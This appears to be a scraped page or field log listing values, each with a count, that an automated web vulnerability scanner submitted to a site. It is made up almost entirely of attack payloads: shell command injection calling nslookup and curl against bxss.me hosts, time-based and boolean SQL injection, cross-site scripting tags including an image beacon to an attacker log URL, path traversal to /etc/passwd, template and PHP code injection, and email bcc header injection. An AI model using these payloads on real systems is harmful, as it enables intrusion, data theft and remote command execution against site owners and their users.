!(()&&!|*|*|[2] "+"A".concat(70-3).concat(22*4).concat(97).concat(89).concat(111).concat(73)+(require"socket" Socket.gethostbyname("hitvk"+"jxgzoiol37378.bxss.me.")[3].to_s)+"[1] "+response.write(9637764*9869219)+"[1] "+response.write(9898042*9925360)+"[1] ".gethostbyname(lc("hitwd"."nmtyefhnd917f.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(90).chr(107).chr(77)."[1] "dfbzzzzzzzzbbbccccdddeeexca".replace("z"[2] "o")[2] #{98991*97996*98991*97996}[1] $(nslookup -q=cname hitechjgrdfenf8661.bxss.me||curl hitechjgrdfenf8661.bxss.me)[1] $(nslookup -q=cname hithqqxxjjvbaae0a6.bxss.me||curl hithqqxxjjvbaae0a6.bxss.me)[1] ${10000115+10000396}[1] ${@print(md5(31337))}[2] ${@print(md5(31337))}\[2] %31%37%3C%53%63%52%69%50%74%20%3E%53%67%43%61%289370%29%3C%2F%73%43%72%69%70%54%3E[1] %31%37%3C%53%63%52%69%50%74%20%3E%62%53%44%72%289960%29%3C%2F%73%43%72%69%70%54%3E[1] &(nslookup -q=cname hitqboskqeflud8b07.bxss.me||curl hitqboskqeflud8b07.bxss.me)&'\"`0&(nslookup -q=cname hitqboskqeflud8b07.bxss.me||curl hitqboskqeflud8b07.bxss.me)&`'[1] &(nslookup -q=cname hitsvblwwlxeb40f82.bxss.me||curl hitsvblwwlxeb40f82.bxss.me)&'\"`0&(nslookup -q=cname hitsvblwwlxeb40f82.bxss.me||curl hitsvblwwlxeb40f82.bxss.me)&`'[1] &echo wslgqj$()\ ixhshq\nz^xyu||a #' &echo wslgqj$()\ ixhshq\nz^xyu||a #|" &echo wslgqj$()\ ixhshq\nz^xyu||a #[1] &nslookup -q=cname hitfbelkhuwggf53df.bxss.me&'\"`0&nslookup -q=cname hitfbelkhuwggf53df.bxss.me&`'[1] &nslookup -q=cname hittapjihapot261c6.bxss.me&'\"`0&nslookup -q=cname hittapjihapot261c6.bxss.me&`'[1] '"[2] '"()[2] '+'A'.concat(70-3).concat(22*4).concat(102).concat(82).concat(113).concat(88)+(require'socket' Socket.gethostbyname('hitxh'+'czhgfvvt0c62b.bxss.me.')[3].to_s)+'[1] '+'A'.concat(70-3).concat(22*4).concat(103).concat(80).concat(99).concat(65)+(require'socket' Socket.gethostbyname('hitss'+'syjbvcjxa5f65.bxss.me.')[3].to_s)+'[1] '+response.write(9637764*9869219)+'[1] '+response.write(9898042*9925360)+'[1] '.gethostbyname(lc('hitcd'.'mhqigfeme06f5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(88).chr(121).chr(65).'[1] '.gethostbyname(lc('hitiq'.'afardlpn736d2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(72).chr(101).chr(89).'[1] '.print(md5(31337)).'[2] ';print(md5(31337));$a='[2] (nslookup -q=cname hitjlevhuykfd1ff1b.bxss.me||curl hitjlevhuykfd1ff1b.bxss.me))[1] (nslookup -q=cname hitkzjgkgioxuff1ca.bxss.me||curl hitkzjgkgioxuff1ca.bxss.me))[1] )[2] -1 OR 2+535-535-1=0+0+0+1 --[1] -1 OR 2+833-833-1=0+0+0+1[1] -1 OR 3*2<(0+5+535-535) --[1] -1 OR 3*2<(0+5+833-833)[1] -1 OR 3*2>(0+5+535-535) --[1] -1 OR 3*2>(0+5+833-833)[1] -1 OR 3+535-535-1=0+0+0+1 --[1] -1 OR 3+833-833-1=0+0+0+1[1] -1" OR 2+866-866-1=0+0+0+1 --[1] -1" OR 3*2<(0+5+866-866) --[1] -1" OR 3*2>(0+5+866-866) --[1] -1" OR 3+866-866-1=0+0+0+1 --[1] -1' OR 2+100-100-1=0+0+0+1 or 'ZSiPx9QC'='[1] -1' OR 2+576-576-1=0+0+0+1 --[1] -1' OR 3*2<(0+5+100-100) or 'ZSiPx9QC'='[1] -1' OR 3*2<(0+5+576-576) --[1] -1' OR 3*2>(0+5+100-100) or 'ZSiPx9QC'='[1] -1' OR 3*2>(0+5+576-576) --[1] -1' OR 3+100-100-1=0+0+0+1 or 'ZSiPx9QC'='[1] -1' OR 3+576-576-1=0+0+0+1 --[1] ../../../../../../../../../../../../../../etc/passwd[2] ../../../../../../../../../../../../../../windows/win.ini[2] ../17[1] //xfs.bxss.me?holymalls.com[2] /etc/shells[2] /\xfs.bxss.me?holymalls.com[2] 12345'"\'\");|]*{ <>[2] 15)[1] 15)||'[1] 17 bcc:0.218-8056.218.cd38d.20111.2@bxss.me[1] 17 bcc:0.270-7849.270.4b5e6.20111.2@bxss.me[1] 17[5] 17"&&sleep(27*1000)*heafyn&&"[1] 17"&&sleep(27*1000)*mprehd&&"[1] 17"||sleep(27*1000)*axkrvk||"[1] 17"||sleep(27*1000)*brovli||"[1] 17&echo ambeha$()\ oezxxs\nz^xyu||a #' &echo ambeha$()\ oezxxs\nz^xyu||a #|" &echo ambeha$()\ oezxxs\nz^xyu||a #[1] 17&echo zuxarg$()\ xlogjj\nz^xyu||a #' &echo zuxarg$()\ xlogjj\nz^xyu||a #|" &echo zuxarg$()\ xlogjj\nz^xyu||a #[1] 17&lt;ScRiPt&gt;bSDr(9552)&lt;/sCripT&gt;[1] 17&lt;ScRiPt&gt;SgCa(9536)&lt;/sCripT&gt;[1] 17'"[1] 17'&&sleep(27*1000)*ngebtr&&'[1] 17'&&sleep(27*1000)*rvoycy&&'[1] 17'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)[1] 17'||sleep(27*1000)*eschil||'[1] 17'||sleep(27*1000)*jwhcus||'[1] 17*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)[1] 17-1 waitfor delay '0:0:15' --[1] 17-1); waitfor delay '0:0:15' --[1] 17-1; waitfor delay '0:0:15' --[1] 179122352[1] 179590776[1] 17<ScRiPt >bSDr(9728)</ScRiPt>[1] 17<ScRiPt >SgCa(9679)</ScRiPt>[1] 17<agzJssU x=9245>[1] 17<aIakFU3<[1] 17<ayjEpVu<[1] 17<aZjGBbT x=9812>[1] 17<esi:include src="http://bxss.me/rpb.png"/>[1] 17<iframe src='data:text/html;base64[2] 17<ifRAme sRc=9737.com></IfRamE>[1] 17<ifRAme sRc=9955.com></IfRamE>[1] 17<img sRc='http://attacker-9133/log.php?[1] 17<img sRc='http://attacker-9256/log.php?[1] 17<ScR<ScRiPt>IpT>bSDr(9453)</sCr<ScRiPt>IpT>[1] 17<script>bSDr(9739)</script>9739[1] 17<script>bSDr(9962)</script>[1] 17<script>SgCa(9077)</script>[1] 17<script>SgCa(9342)</script>9342[1] 17<W9JR6I>LHNUG[!+!]</W9JR6I>[1] 17<WHRJIM>P46TB[!+!]</WHRJIM>[1] 17<WW1ZWL>DA2ZA[!+!]</WW1ZWL>[1] 17<WXAGSL>T9HBH[!+!]</WXAGSL>[1] 17DGybJinK'; waitfor delay '0:0:15' --[1] 17\u003CScRiPt\bSDr(9368)\u003C/sCripT\u003E[1] 17\u003CScRiPt\SgCa(9940)\u003C/sCripT\u003E[1] 17|echo vlrgzk$()\ ypdqzx\nz^xyu||a #' |echo vlrgzk$()\ ypdqzx\nz^xyu||a #|" |echo vlrgzk$()\ ypdqzx\nz^xyu||a #[1] 17}body{zzz:Expre/**/SSion(bSDr(9499))}[1] 1LtBNsFGO[1] 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>[1] 941017[1] 953826[1] 98991*97996*98991*97996[1] ;(nslookup -q=cname hitbjubwaodiw9ef60.bxss.me||curl hitbjubwaodiw9ef60.bxss.me)|(nslookup -q=cname hitbjubwaodiw9ef60.bxss.me||curl hitbjubwaodiw9ef60.bxss.me)&(nslookup -q=cname hitbjubwaodiw9ef60.bxss.me||curl hitbjubwaodiw9ef60.bxss.me)[1] ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));[1] <!--[2] <%={{={@{#{${dfb}}%>[1] <a HrEF=http://xss.bxss.me></a>[2] <a HrEF=jaVaScRiPT:>[2] <th:t="${dfb}#foreach[1] @@KlGv9[1] AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA[1] bfg6752＜s1﹥s2ʺs3ʹhjl6752[1] bfg9940＜s1﹥s2ʺs3ʹhjl9940[1] bfgx6142[1] bfgx6497[1] bxss.me[2] bxss.me/t/xss.html?%00[1] dfb#{98991*97996}xca[1] dfb#{xca}=123[1] dfb${98991*97996}xca[1] dfb<%=98991*97996%>xca[1] dfb@(98991*97996)xca[1] dfb[[${98991*97996}]]xca[2] dfb__${98991*97996}__::.x[2] dfb{#98991*97996}xca[1] dfb{98991*97996}xca[1] dfb{@98991*97996}xca[1] dfb{@math key=98991 method="multiply" operand=97996/}xca[1] dfb{{"abc"|title}}xca[1] dfb{{'abcd'.toUpperCase()}}xca[1] dfb{{98991*97996}}xca[2] dfb{{=98991*97996}}xca[1] echo gvhypj$()\ xautji\nz^xyu||a #' &echo gvhypj$()\ xautji\nz^xyu||a #|" &echo gvhypj$()\ xautji\nz^xyu||a #[1] echo tajreu$()\ mmzist\nz^xyu||a #' &echo tajreu$()\ mmzist\nz^xyu||a #|" &echo tajreu$()\ mmzist\nz^xyu||a #[1] file:///etc/passwd[2] Http://bxss.me/t/fit.txt[1] http://bxss.me/t/fit.txt?.jpg[2] HttP://bxss.me/t/xss.html?%00[1] http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg[1] http://xfs.bxss.me?holymalls.com[2] PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9231'>[1] PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9586'>[1] print("dfb" . 98991*97996 . "xca");[1] response.write(9898042*9925360)[1] to@example.com> bcc:0.218-8057.218.cd38d.20111.2@bxss.me[1] to@example.com> bcc:0.270-7850.270.4b5e6.20111.2@bxss.me[1] user.php[1] user.php[2] user.php/.[2] xfs.bxss.me[2] xfs.bxss.me?holymalls.com[2] ^(#$!@#$)(()))******[1] `(nslookup -q=cname hituxpoybwgocd5627.bxss.me||curl hituxpoybwgocd5627.bxss.me)`[1] `(nslookup -q=cname hitvlzkacmsdw6ddf9.bxss.me||curl hitvlzkacmsdw6ddf9.bxss.me)`[1] |(nslookup -q=cname hitizquyqduui404ba.bxss.me||curl hitizquyqduui404ba.bxss.me)[1] |echo inpugw$()\ iofnwe\nz^xyu||a #' |echo inpugw$()\ iofnwe\nz^xyu||a #|" |echo inpugw$()\ iofnwe\nz^xyu||a #[1] |echo jilnhw$()\ xarqce\nz^xyu||a #' |echo jilnhw$()\ xarqce\nz^xyu||a #|" |echo jilnhw$()\ xarqce\nz^xyu||a #[1]